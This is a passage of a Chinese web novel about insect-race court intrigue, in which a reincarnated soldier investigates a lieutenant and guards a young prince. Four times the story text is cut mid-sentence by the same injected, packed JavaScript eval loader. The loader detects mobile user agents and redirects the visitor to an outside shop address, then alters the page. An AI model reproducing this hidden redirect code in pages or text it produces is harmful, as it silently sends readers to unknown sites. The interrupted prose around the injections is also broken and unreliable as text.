“是的,这一次可能是持久战。”克莱轻轻抿住嘴唇,顿了顿,接着说道,“不过即使身在主星,元帅也提前交代了任务——元帅让我有空去拜访大皇子圣亚瑟殿下,但我对大皇子了解不多,光脑也没有太多权限查阅皇廷的信息,我只怕到时冒犯到圣亚瑟殿下……” 克莱露出为难的神色,声音低了下去,垂眸轻轻叹了口气。 已经喝得有点上头的聂盖特,立马把话题接过去:“大皇子殿下呀?嗨,前几个月一直病着呢,但昨天见他时,气色好了不少,你要拜访他,赶紧趁现在。他这病说起也奇怪,幼虫时明明身体很健康,一点迹象也没有,但自成年后,每隔几年就发一次病,还非说皇廷内的医师看不好——呵,关于这个格弥勒比我更了解,总之一定要向虫帝圣座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478968|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申请,让皇廷外什么亚雌名医到皇廷来给他看病。说起来也怪,这名医每一次都是由耶梦德军团的军雌带进来,看诊几天后,大皇子立马就痊愈了,就像现在——也是够神奇的!” 一旁的格弥勒轻轻饮了一口酒杯里的果酒,欲言又止,只是淡淡一笑,露出皇廷资深医师的高深莫讳。 “所以,这几天那个亚雌名医,是又来皇廷里,给大皇子看病了吗?”克莱的手指碰触着装着果酒的酒杯,似乎不经意地问道。 聂盖特触角摆了摆,又喝了一大口酒,感叹克莱酿的酒比虫网上买的品牌昂贵的虫酒要好喝十倍,然后说道:“在呀,就是因为他来了,大皇子殿下才会好些。现在还没走,大皇子的治疗一般都要一个月,估计还要两周,昨天看到那个带他进皇廷的军雌还在,啧,就一不知名偏星出生,会点偏方的小诊所医师,还要军团的中尉级别的军雌专门护送,我到真是服了!” 还没走?!果然——克莱的内心暗涌,还有至少两个星期的机会! 还有,中尉级别的军雌……难道是—— “别称什么中尉级别的军雌!雌父,同为军雌,不能因为他军龄、等级和军阶都低于您,就这样不尊重虫——他是维里斯中尉,也是他请来的亚雌名医,总该是比我们皇廷的医师们医术更高明。”格弥勒说着,向克莱举了举杯。 维里斯中尉,那个报备军部,说家中有事回来主星的维里斯中尉吗?越来越有意思了! 克莱面不改色地拿着酒杯,回敬格弥勒,喝了一口酒。 文森说,抓住他带进黑房间的是大皇子定下婚约的雌君——克耶尔少将。 但克耶尔少将并没有出现在皇廷,只有其下属维里斯中尉…… 思绪万千之间,克莱依旧微醺轻笑,他对格弥勒宛若随口问道:“这么难治……大皇子殿下,究竟得的是什么病?” 格弥勒对他轻轻招了招手,克莱不由看了一眼主位上的聂盖特,聂盖特无所谓的耸了耸肩。 克莱于是附耳过去,只见格弥勒触角微动,附在他耳边,用极轻的声音说道:“他没有病,只是,吃过一些不干净的,其他虫族的药。” ++++++++++++++++++ 克莱带着一直未醒的文森离开后。 原本应该已经醉倒的聂盖特立马恢复了精神气,完全没有一丝醉意,他目光深邃地看向自己的亚雌儿子,说道:“我知道你也没醉,说吧,为什么愿意把这么重要的皇廷秘密告诉小克莱?” 格弥勒又喝了一口杯中的果酒,他的目光扫过克莱坐过的位置,不答反问:“雌父,您觉得大皇子殿下圣亚瑟如何?” 聂盖特冷哼了一声,他的触角一动:“不该我们管的事,我们向来不会管,但不代表我们皇廷近卫军都是蠢虫。” 格弥勒点了点头,继续说道:“二皇子殿下圣普利是B级雄虫,早早就被皇廷献给了圣律院,而三皇子殿下圣尤金——皇廷外的虫众们可以被虫网洗脑,但我们对这位集万千宠爱于一身的小殿下,可是再了解不过。” 格弥勒看向聂盖特,父子两只雌虫都不由不约而同地摇着头叹气。 “他能少从近卫军的军雌里挑虫去自己寝宫,我都要感谢圣虫灵在上,大祭司保佑了!”聂盖特的触角不停摇着。 忽而,聂盖特意识到什么般抬起头,低声道:“那你认为,四皇子文森殿下,就值得信赖吗?” 皇廷里,曾对文森被各种欺辱却无动于衷的,几乎每只虫都有份。 “他即将分化,不妨赌一把——”格弥勒叹了口气,说道,“而且,我并不信任他,我信任的是克莱。” 20. 第二十章 同居 文森醒来时,已在飞行器的副驾上,克莱帮他系上了安全带,将自己的外套轻轻地盖在他的身上,外套上隐隐有青草的气息,应该是残留的点点信息素。 文森悄悄将头埋低,蹭了蹭克莱的外套,微微侧头,驾驶飞行器的克莱就在身旁。 “醒了?”克莱的声音温和,飞行器连接光脑,他开启自动驾驶模式,然后转头看向文森。 “你身上,有酒味。”少年雄虫往克莱身旁靠过来,吸了吸鼻子。 “嗯,喝了一点果酒。”克莱想着,小雄虫未必会喜欢酒的气息。 “好喝吗?”文森到没有表现出对克莱身上淡淡酒味的抗拒,他更进一步整只虫都靠在克莱身上,微微凌乱的红色卷发枕靠在军雌的肩上。 他已经越来越大胆,他知道克莱会纵容他。 “不适合太过年轻的虫。”克莱低头,目光落在文森的额间,短短两三天的时间,紫金色的虫纹已经基本成型,应该不出一周,他就会完全成年,“等你成年后,可以试试,但不能多喝。” “你会陪我一起喝吗?”他碧绿的眼眸闪了闪,转头看向克莱。 “当然。”克莱的骨尾翘起,尾尖将外套往文森的身上提了提,如果可以,他甚至不介意教文森酿酒。 酿他家乡的梅子酒。 一直以来,都是他独自酿酒,然后从战场上回来后,在忙碌的间隙中,独自小酌一杯。 怎么说呢,在上一世,克莱绝不是一个多愁善感的人类,这一世,他也并不是一只感性的虫,或者说,作为一个军雌,他大部分时候都过于理性了。 他独酌,是为了安眠。偶尔带自制的果酒外出,是像今日这般应酬。 克莱极少去回忆作为人类的种种,在忙碌的征战和公务中,也没有时间去探究他转生到了一个陌生的国度这么多年,是否会在零星的片刻回忆里,泛起那种类似离乡背井,独单异种的感觉。 其实吧,在曾经的大绕王朝,王侯将相,贩夫走卒,皇宫里的太监本来就是异类,所以,说起孤独—— 克莱并不觉得自己孤独,他习惯很忙,就像现在,大皇子和克耶尔少将的事,追踪维里斯中尉的事,军中叛徒和前线战况,一直不间断的军务邮件,忙到一直以来,克莱根本意识不到还有“孤独”这种感受的存在,再不济,不是还有光脑和机器管家嘛。 可一旦有了文森在身边,每一天的,黏在身边的,时时刻刻的—— 接下来的日子,克莱生活似乎变了,又仿佛并没有太大的变化。 克莱依旧很忙碌,但他好像渐渐有了新的习惯。 他几乎每天都会下厨给文森做一些虫族几乎没见过的饭菜,红烧鲫鱼和黄焖鸡是不可能了,但清炒白菜和松子炒菠菜,还是能在一堆乌七八糟里找到类似口感的虫族食材,做出一盘克莱也能陪着文森吃上好几口的佳肴。 克莱甚至在光脑的努力查询下,找到了类似桂花糕的食材和做法。 当克莱看着文森吃下一块香甜可口的淡金色糕点,眯起眼,露出满足的神色——他不仅想起了曾经那个在皇廷里笑着给他虫麦糖的可爱孩子,还想起了中秋的月,桂花的香,一些模糊的关于曾经短暂人生里不经意间的美好…… 文森喜甜,这点和他小时候一样。 克莱做的甜点,他尤其喜欢,但克莱不许他多吃。 “吃多了,牙会疼。”克莱故意严肃起来,文森也不怕。 他不仅会赖在克莱怀里无所顾忌的撒娇,还会委委屈屈地瞪着水汪汪碧绿的眼眸,低声说:“以前,在皇廷,他们什么都不给我吃……” 啊,蹬鼻子上脸了。 到了晚上,已经快成年的少年雄虫更是耍赖,一定要克莱陪他一起睡。 虽说文森在成年期内嗜睡,但他睡觉的时间不定,有时晚上会很精神,克莱为了哄他睡觉,会给他讲故事。 但光脑在虫网上找来的虫族热门睡前故事,文森都兴趣缺缺,克莱想了想,便决定把大绕王朝前朝后宫里发生过的,他亲身经历过的,还有从老太监那里听来的,大绕宫廷里犄角旮旯里流传的故事都讲给他听试试。 没想到,小雄虫听得格外起劲。 他不仅聚精会神,还会时不时地提问。 克莱讲到,曾经后宫里出现过,试图用民间的孩子假扮皇子的传言。 文森会问:“皇廷幼虫的卵,其实差别也不大,会不会有抱错的情况?” “有一定的可能性,但这种可能性很小。”克莱说道,“听说,雌君会极其爱护自己的卵,而且皇廷里监控十分严密。” 文森点了点头,若有所思。 克莱讲到,曾有宫变,是一位年幼的皇子,毒杀了自己的父王后,嫁祸给即将继位的太子,然后这位幼子最后登基称帝——这是大绕王朝的真实事件,死于叛军之手的老皇帝就是这样登基的,而将一碗毒鸡汤送到太皇帝嘴边的,正是教导克莱的那位老太监。 文森问道:“那个皇子成功继位了吗?” 克莱点了点头,但他继续说道:“可他最后被叛军所杀……还亡了国。” 文森想了想,说道:“那是因为他在位时,没有治理好帝国,和他用什么方式继位的,关系不大。” 这话,到是让克莱微微一愣。 而当克莱讲到,大绕王朝的开国,曾经那位了不起的开国皇帝是如何结束战乱,定国安邦时。 文森问道:“所以,一个厉害的虫帝,是可以让军雌们都不上前线了吗?” 克莱思索了片刻,试图用他自己的理解回答说:“是让战争结束,让军雌们不再死于战场,但军雌们可以有其他的作为。” 文森扬起头,认真地看着克莱说:“我会让你陪着我。” 克莱笑了,果然还是个孩子。 克莱轻轻嗯了一声,接着他的话说道:“那首先需要有一位非常非常厉害的虫帝,还有一帮厉害的臣子,结束所有的战争,让帝国的每一个虫民安居乐业,无论雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478969|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫雌虫,无论等级高低,无论……他是否残缺,都能感到生活在这样的帝国,是幸福的……而且,现在也不错呀——我会尽量陪着你的。” 目前,克莱基本都是居家处理军团内的事宜,所以他大部分时间都是和文森在一起的。 “尽量嘛……”文森的声音低了下去,碧绿的眼眸看不出情绪。 少年雄虫依旧时不时闹别扭。 还有让克莱头痛的是,文森虽然在他身边时,还算乖巧顺从,但一旦有其他虫介入,他不是拘谨躲避,就是像只刺猬一样,表现出很强的抗拒。 克莱原本准备给他找一位亚雌家庭教师,文森即将成年,作为雄子应该学习一些相应的知识,虫帝那边肯定是从没有这方面的考量,他都未必会管文森的死活,克莱便寻了虫网上排名前几的虫中名师,虽说比不上皇廷里三皇子圣尤金内阁大臣亲授,但也是一对一名师教学。 没想,带着亚雌老师进屋后,在屋里找了半晌,硬生生没有找到文森的一丝虫影,问机器管家,机器管家露出“哭哭”的电子表情,只说“不知道”,光脑也不敢吱声(光脑和机器管家,越来越被文森驯化了,克莱看得出来)。 待亚雌家庭教师走后,文森才不知从哪里钻出来。 他会扑进克莱怀里,十分委屈地说:“你就不能教我吗?只有你,才能教会我……” 克莱有时候也觉得,自己慢慢把这个明明虫纹已经逐渐完整化的雄虫小殿下宠坏了。 而很快,按约定的时间,迪欧特尔会登门拜访,帮手对维里斯中尉的光脑进行追踪,同时为了多一份助力,克莱也叫来了学长科赛特少将——事先,克莱便和文森说明了此事。 “科赛特少将,在皇廷时,你见过的。”克莱喂了文森一块桂花糕。 “嗯……”鼓鼓囊囊吃着,文森心不在焉应下。 “还有一个是爱心虫会的会长,他很喜欢幼虫小朋友,一定会喜欢你的。”克莱努力给雄虫顺毛。 “哼,谁要……唔(进食声),他喜欢……”少年雄虫撅起嘴。 克莱叹了口气:“你乖一点,等事情结束,我试着做糖炒栗子给你吃。” “哦,新的点心?!”绿眼睛,亮晶晶。 “嗯,所以,他们来时,你要听话。”克莱总是有耐心的,上辈子就练出来了。 文森一丝卷发桀骜不驯地翘了翘,然后说道:“那也要看他们的表现……” 嗯,四皇子殿下越来越有范了。 但克莱完全没有想到,迪欧特尔来时,不仅穿了一件帅气逼虫的白色休闲西装,认真打了领带,整了一个抹了虫胶的大背头绅士发型,还带了一大束的粉色星露兰。 星露兰,是公认的虫族求偶时的专用花束,而粉色是带着点,介于友情和爱情之间,更加暧昧的意味。 那天,门铃响了,是机器管家开的门,玄关处,文森冷冷地望着迪欧特尔手中一大片的粉色。 碧悠悠的眼眸,渗出寒意。 21. 第二十一章 追踪 “您是迪欧特尔阁下吧?请进!”机器管家露出电子笑脸。 克莱闻声也来到玄关处,文森这次不仅没有若以往那般躲起来,反而上前一步,悄无声息地站到了克莱身前。 “下午好,克莱。”迪欧特尔的声音清朗,碧蓝色的眼眸越过机器管家,毫不掩饰地直接落在克莱身上,嘴角弯起一个恰到好处的弧度,“冒昧打扰了。” 克莱还没来得及说话,身旁的文森忽然冷不丁开口道:“知道冒昧,还来?” 克莱不由微微一愣,文森向来有一股生虫勿近的疏离感,但却从没有对第一次见面的虫,表现出如此明显的攻击性。 “这么一大束花在门前,我差点以为走错别墅大门了。”这时,另一个熟悉的声音,带着半真半假的调侃,从门外不远处传来。 门口的迪欧特尔闻声,微微不悦地侧过头。 玄关处的克莱,却不由笑了。 门外露出学长科赛特少将铂金色长发和浅紫色的眼眸—— 刚刚好,虫到齐了。 “迪欧特尔,你送一大束星露兰给皇子殿下的监护者,不大合适吧?”科赛特穿了一身便装,淡紫色色的休闲外套,里面是一件白色的高领衫,额间蝴蝶状的虫纹灵动,看起来随性而优雅。 科赛特学长和身为首相之子的迪欧特尔认识,克莱在这次聚会之前便知道。 迪欧特尔很大度的说,虽然和科赛特不熟,但既然是克莱的学长,贝希摩军团的少将,一起见见也无妨。 科赛特对迪欧特尔的评价则更为直接——自以为是的雄虫,装腔作势的自恋狂。 至于科赛特和迪欧特尔从小就相识这件事,克莱也是很久之后才知道的,但似乎从小就不对付。 迪欧特尔那句不熟,是真话。 迪欧特尔并没有在意科赛特的调侃,他很有风度地让科赛特先进门,然后进门后将花递给克莱道,抬首露出一个爽朗的微笑:“不能是为了网友多年,终于见面的友谊吗?” 一开始,克莱看着那束星露兰,并没有立刻接,星露兰的含义他当然是知晓的,这是虫族的基本常识。但如果当场拒绝,场面会很难堪——说实话,迪欧特尔忽然的举动,让克莱不免困扰,但他毕竟是请虫帮忙,也幸好有学长科赛特在。 “为了友谊,多谢了。”也只是为了友谊——克莱说完,才准备伸手去接花。 没想,挡在他身前的文森,忽然伸手从迪欧特尔手中,抢先一步接过一大束的星露兰,然后垂眸用一种极冷的目光,看了那粉红色的花儿一眼,一抬手“嘭”的一声扔在了一边,所幸机器管家眼疾手快接了下来。 “文森,别这样。”克莱不由微微皱眉,一边给机器管家指令,“放到客厅的花瓶里吧。” 克莱是宠孩子,但当他觉得文森做的不对的时候,也不会沉默。 克莱的声音并不大,但少年雄虫立马气鼓鼓地转头看他,绿眼眸里满是委屈,似乎无声地在控诉:你凶我,你居然为了别的虫凶我?! 迪欧特尔到是没太在意,他笑了笑,目光落在文森身上,俯身帅气地行了一礼,说道:“四皇子殿下,久仰——” 在他眼里,文森是只还在长虫纹半熟幼虫,作为爱心虫会的会长,他有过多年和各种幼虫打交道的经验。 幼虫嘛,哄了哄,夸一夸,然后就——他抬眸。 文森正冷冷地看着他,眼神根本不像是一只天真单纯的幼虫,但紧接着,他可怜巴巴地靠在了克莱身边,悄无声息地和迪欧特尔、科赛特划开了一个看不见的界限。 “都进来吧。”克莱一边微笑热情地招呼来客,一边轻轻安抚地揽了揽少年雄虫的肩。 他到底是有所偏袒的。 随后,克莱将迪欧特尔和科赛特带到了他一楼专门用于办公,浮动着多个光屏的虫控室。 文森来后,克莱偶尔会在这里办公,但虫控室的氛围相较二楼的隔间更为正统压抑且无聊,粘着克莱来此的文森,经常不到几分钟就能在虫控室的沙发上睡着。 “很有你风格的房间。”迪欧特尔望着克莱,做出如是评价,他一袭白衣,站定微笑时,会有一股阳光又儒雅的气息。 跟在克莱身旁的文森,冷嗖嗖地瞥了他一眼。 克莱平日公办,并没有避讳文森,而且克莱有预感,如果他现在将小雄虫支开,文森会瞬间炸毛。 不如就让他跟着一起,况且凭克莱的经验,文森很快会在一旁的沙发上睡去。 科赛特不是第一次来克莱家的虫控室,他更直接:“克莱,说吧,有什么是我可以帮你的?” 克莱也不绕弯子,他直奔主题:“这次麻烦学长和迪欧特尔会长,事关前线战况,也是里昂特元帅的密令任务,希望你们能帮我查一只虫。” 几乎是同时,迪欧特尔和科赛特皆神色一凝,脱口而出:“谁?!” 克莱先让机器管家守在客厅,又让光脑进行了环境侦查确认。 光脑在意识里:“报告虫主阁下,房间隔音良好,未发现任何监听设备,一切正常……” 克莱点了点头,随即启动光脑,连接维里斯中尉的公开信息和报备记录,一个浮动光屏在虫控室中央展开,上面显示着维里斯中尉的电子照片、军籍信息和最近的活动轨迹。 “维里斯中尉,我们怀疑他行踪有问题,他隶属耶梦德军团第3中队,目前因‘家中急事’请假在主星。”克莱的手指在光屏上划动,“我需要追踪他光脑中的通讯记录、定位信息和加密文件,尤其是过去三个月与克耶尔少将以及任何主星号码的往来——不得不麻烦学长和迪欧特尔会长帮忙。” 一旦工作起来,克莱便是全神贯注。 “为帝国效力,不是帮忙,而是应该的。”迪欧特尔扬了扬头,他并没有多问一句,而是微笑着随即走到光屏前,拿出一个随身携带的结晶型芯片储物器,从中取出巴掌大小的银色虫蝶装置——精神力放大器,放在一旁的办公桌上 ,和中央大光屏随即建立起连接。 “这个装置,可以在不接近目标的情况下,以精神力建立精神连接追踪光脑。”迪欧特尔到底是任职皇廷下属独立情报部副部长,经验老道,他解释道,“但需要维里斯中尉的光脑识别码作为锚点。” “克莱,你前几天发加密信息,让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478970|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄到耶梦德军团的查询权限,就是为了这个吧。”科赛特和克莱更有默契,彼此对视一笑。 科赛特通过自己的光脑拉出一个小光屏,很快在上面点了点,一串署名维里斯的数字便出现了。 克莱将维里斯中尉的识别码输入装置。很快,银色虫蝶发出一声轻微的嗡鸣,表面的纹路开始流转,像是活过来了一样。 迪欧特尔伸出手,指尖轻轻按在虫蝶的头部,闭上了眼睛。 克莱的目光紧盯着光屏上跳动的数据流,科赛特皱起眉,在一旁静候—— 时间一分一秒地过去。 大约过了三分钟,迪欧特尔的睫毛开始颤动,额间的V型虫纹隐隐发光。他的呼吸变得缓慢而有节奏,进入了一种克莱不太熟悉的,属于雄虫精神力运转的状态。 “奇怪……如果他在主星,不可能这么难查到——”迪欧特尔的声音很轻,像是从很远的地方传来,“他的光脑信号离主星很远……” 迪欧特尔的眉头微微皱起,指尖在虫蝶上按得更紧了一些。光屏上的数据流开始加速,一个个加密文件的图标闪过,但都被一层红色的锁状标记挡住。 “有加密,一个中尉为什么会有这种程度的加密?”迪欧特尔低声说道,“破解加密……需要更多精神力。” 他的额间虫纹变得更亮,克莱注意到迪欧特尔的额角渗出了细密的汗珠——追踪光脑显然不是一件轻松的事。 过了好一会儿,加密难度系数已经显示到了S级别,对于A级雄虫也是极不容易破解的。 大量耗费精神力,迪欧特尔已经渐渐开始有些体力不支。 “先休息一下吧,会长。”克莱说道,他已经让机器管家在客厅备好了茶点,对于精神力追踪他无法帮上忙,不免是有些内疚的。 “唉,就说雄虫身体弱,A级也一样。”科赛特则在一旁抱臂摇头。 迪欧特尔长叹了口气,转头看向克莱,对他一笑说:“克莱,你在担心我吗?如果你帮我擦擦汗,我就不会觉得累了……” “哼”一声冷哼,一直安静坐在沙发上文森冷冷地打断了迪欧特尔,他上前一步,毫不犹豫地将迪欧特尔投向克莱的视线隔开,然后一双碧绿的眼眸盯着那只嗡嗡作响的银色虫蝶。 忽然,他走上前伸出手,指尖轻轻碰了一下虫蝶的翅膀。 “文森——”始料未及的克莱,尾骨甩起但依旧来不及阻止,而比起设备,克莱更担心文森的安全。 但很快,光屏上那些红色的锁状标记开始闪烁,然后一个接一个地消失了。加密文件自动解开,大量的通讯记录和定位信息涌了出来。 文森收回手,面无表情地走回克莱身边,一把紧紧抱住克莱,红卷发蹭了蹭军雌的肩膀。他什么都没说,但克莱注意到他的呼吸比平时快了一些,像是在压抑着什么。 “这是?”科赛特有些不解地看了看文森,又看了看迪欧特尔,“刚才发生了什么?” 迪欧特尔摇了摇头,然后他调整了一下,试探性重新闭上眼睛,碰触虫蝶设备,检查数据完整性。 然后,他睁开眼睛,笃定地说道:“查到了!” 22. 第二十二章 定位 迪欧特尔不由抬眸,满眼的震惊地,朝紧紧靠在克莱身边的文森小殿下看了一眼。 “加密全部解除,数据完整,且没有触发反追踪警报,实时追踪定位清晰……”迪欧特尔望着大量数据过后,出现在中央光屏上跳动的定位坐标,顿了顿,说道,“四皇子殿下的精神力似乎是有‘穿透’的特性,这在A级雄虫中都极其罕见。” 说着,迪欧特尔对少年雄虫露出惊叹和赞赏的微笑,继续道:“殿下现在正处于成年二次分化期吧——看样子,很可能分化为A级,甚至更高的等级哦。” 可惜,文森一点也不领他的情,冷冷地瞪了一眼,然后像只八爪章鱼一般,死死趴在克莱身边。 克莱习惯性的抬手,揉了揉自己肩膀上的那团红色卷发——在经历过缔结契约时那可怕又强大的精神力直接冲击,克莱到并不意外,文森有可能分化为更高等级的成年雄虫。 文森被揉得舒服地晃了晃脑袋,还故意朝迪欧特尔的方向,带着一丝特意地扬了扬下巴,但依然没有似乎松开克莱的意思。 克莱的心思此时全在正事上,他抬眸,望向光屏上追踪到的维里斯中尉光脑坐标,不由目光一凝。 身旁的科赛特也不禁皱眉,上前一步,脱口而出道:“坐标在离前线矿区不远的暗星——耶梦德军团现时驻地?!啧,他不是报备在主星吗?” 克莱低眸,思绪流转,头脑风暴间,光脑也不敢打扰,忽然,一个念头闪过。 克莱抬头,对迪欧特尔说道:“会长,你能追踪到少将级别的光脑定位吗?” “如果没有S级别的加密,我觉得问题不大。”迪欧特尔收起了平日儒雅又自信的笑,他思索了片刻,认真地回答。 “不如还是让四皇子殿下试试,说不定追踪到的可能性更大——”科赛特在一旁目光扫过迪欧特尔额头上还未消散的汗珠,轻哼了一声,接着说道,“克莱,你想要哪位少将的光脑识别码?给我两分钟,上将的都给你搞到手。” 克莱也不和科赛特学长客气,他回答道:“克耶尔少将。” “维里斯中尉的上级?”科赛特挑眉。 “大皇子圣亚瑟的婚约者?”迪欧特尔更直接。 克莱点了点头。 他没必要再解释什么,从军团体系的角度考虑,身为军雌少将科赛特能明白,直系往上去查,那就是觉得作为上级的克耶尔少将脱不了干系;皇廷关联的角度考虑,作为内阁首相之子的迪欧特尔自然也能想到——大皇子殿下这一层。 “克莱,你真的要——”军团牵扯到皇廷,一切都会复杂起来,科赛特淡紫色的眼眸里,浮出对好友兼学弟的担忧。 迪欧特尔则想了想,更加爽快地应下,他抹了抹额头上的汗珠,说道:“帝国律法适用于每一只虫,虫帝圣座和伟大的虫族大祭司都从没有说过,皇子殿下可以凌驾于律法之上。更何况克耶尔少将隶属军部,克莱听从昂特元帅的命令去进行调查,在逻辑上并没有问题。” “你真是够天真呀,迪欧特尔!”科赛特冷冷瞥了他一眼,然后转头看向身旁自己的学弟,满脸凝重地问道,“克莱,你考虑清楚了?” 克莱点了点头,他说:“事关前线战况,不得不查!” 克莱本来还想加一句,出了什么事,他自己一只虫担了,但他了解自己的学长,也大致看得出迪欧特尔的性格,他要是真的这么说了,到有点看轻科赛特和迪欧特尔的意思。 里昂特元帅让科赛特协助,说首相亚林格可信,是经过深思熟虑的考量—— 而科赛特的犹豫,更多是出于谨慎和对自己的关心——克莱心里是明白的。 挂在他身上的文森,此时微微眯起眼,奇怪的是,平日他早就该睡熟了,但今天却一直格外有精神。 “行!”科赛特望着克莱的眼睛,接着了然地点了点头,打了一个响指。 他又拉出了自己的小光屏,手指在光屏上飞速地舞动,过了刚刚好两分钟,他将自己的光屏移到了克莱身边—— 克耶尔少将的光脑识别码赫然在目。 不愧为各方消息灵通,军团内有着各种渠道获息的科赛特少将。 克莱对学长感激地一点头,但考虑到迪欧特尔的身体状态,在精神力追踪上,他到是犹豫了—— “就说,让四皇子殿下再试一下吧。”科赛特望着一旁收起笑容的迪欧特尔,弯起了嘴角。 科赛特这么说着,已经仿佛克莱身上挂件般的文森绿眼眸亮了亮,仿佛更加跃跃欲试。 “文森他虫纹刚长成,处于即将分化的状态,精神力极不稳定,我担心他……”克莱低声说道,身旁的小雄虫立马抓准时机,好似柔弱无比般往克莱身上蹭。 “可我看殿下他比迪欧特尔强多了,克莱,你是不是有点保护过度了?”科赛特望着寸步不离粘着克莱的少年雄虫,摸着下巴说道。 “喂,科赛特,你什么意思?”迪欧特尔微微皱眉,V型的虫纹成了“W”。 “大概是说,你不太行的意思,实话实话,如果光脑没追踪到,你却倒在克莱家里了,不是不仅没帮上忙,还给克莱添麻烦吗?”科赛特耸了耸肩。 这一次,连一直心思在追踪事宜上的克莱,都感觉出,学长对迪欧特尔过于针对性的毒舌。 平日里,科赛特虽然爱和克莱打趣说笑,但是个热心爽朗的军雌,不然也不会有那么多消息渠道,手下一堆靠谱的军雌弟兄。 而早感觉出来的某只少年雄虫挂件,只觉得今天看科赛特格外的顺眼。 “如果我追踪到了克耶尔那家伙的光脑呢?”迪欧特尔昂起帅气的背头,骄傲的A级雄虫,胜负欲一下子就上来了。 “你想怎么样——”科赛特对他淡淡地翻了个白眼,“我给你道歉?” 身为主虫的克莱不免觉得头疼,现在不是内讧的时候呀——维里斯中尉和克耶尔少将,还有沙聂虫族,还差一点,他就能抓到关键线索了,与此同时,一个计划也逐渐在他的心里形成……一个既可以让前线战局扭转,又可以抓住叛徒的计划。 唯有贴在他身旁的文森,碧绿的眼眸左看看,右望望,看吵架看得津津有味。 “谁在乎你道不道歉?!”迪欧特尔忽然对着科赛特轻笑一声,无所谓般挑了挑眉,转而望向克莱,露出灿烂且迷死虫不偿命般的笑容,温柔又期待地说道,“如果我追踪到了,克莱,能不能下次来我家做客?” “哈?”满脑子都在盘算计划的克莱,刚刚回过神。 怎么转到自己这边来的?而且,为什么自己会成为赌注? 科赛特的嘴角微微抽了抽。 而文森碧绿的眼眸,在这一刻骤然冷到极致。 迪欧特尔对克莱微笑着,一边信心满满地走上前,在输入克耶尔少将的光脑识别码后,随着银色虫蝶再次发出嗡鸣,纹路又开始流转,迪欧特尔将手放在了虫蝶的头部,再次闭上眼。 然而,这一次,他的手刚碰到虫蝶,忽然,他神色痛苦地捂住了额头,V型的虫纹光芒变得诡异—— “啊……啊!”如果不是忽然之间剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478971|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈的头痛,身为A级雄虫的迪欧特尔,不可能露出此般痛苦的神色。 剧烈的疼痛感瞬间传导全身,让他竟一时疼痛难忍,随之向一旁倒去。 一切发生得太快! “会长!”“你这家伙——” 克莱下意识地上前去扶,但身后有虫,死死地拽住了他。 克莱回头瞪文森,现在不是闹着玩的时候?! 这是克莱从未有过的严厉,文森不得不松了手,嘴唇却抿得紧紧的。 所幸,科赛特抢先一步,抱住了迪欧特尔,他在一瞬的慌张后,又立马换上了一副暗暗嫌弃的表情—— 他的光脑暗里极快地检查了一下迪欧特尔的体征,还活着。 “所以说,雄虫就是娇气……”科赛特学长扶住迪欧特尔,如是说。 克莱立马通过光脑,叫来了机器管家:“去请最近的亚雌医生,让他尽快赶来!” “不……不必了……”迪欧特尔已经缓缓转醒,但他没什么力气,见是科赛特扶住自己,试图挣扎了一下。 科赛特不由轻轻啧了一声。 “没什么事,只是忽然……头疼。”迪欧特尔说着,抬手顺势推开了科赛特,输出一口气,顺了顺呼吸,随之甩了甩帅气却有些凌乱的棕色短发,然后站定,还不忘逞强般地凹了个看起来不错的抚额战损造型。 科赛特一脸嫌弃地不能再嫌弃的表情,连克莱都看得出,学长此刻一定在想,自己为什么刚才要扶这家伙! “呵!”科赛特白眼都快翻上天了。 克莱则很郑重其事让机器管家先行检查迪欧特尔的身体情况。 “我的光脑已经完成检测了,是正常的。”迪欧特尔看着克莱对自己如此上心,还是很受用的。 “我让管家准备了安抚精神的营养剂,还有一些水果,会长,你要不要先去楼上的客房休息一下?”克莱不免内疚和自责,迪欧特尔是自己请来的宾客,是特意来帮助自己的,自己有义务对他负责,如果迪欧特尔因此受伤,他难辞其咎。 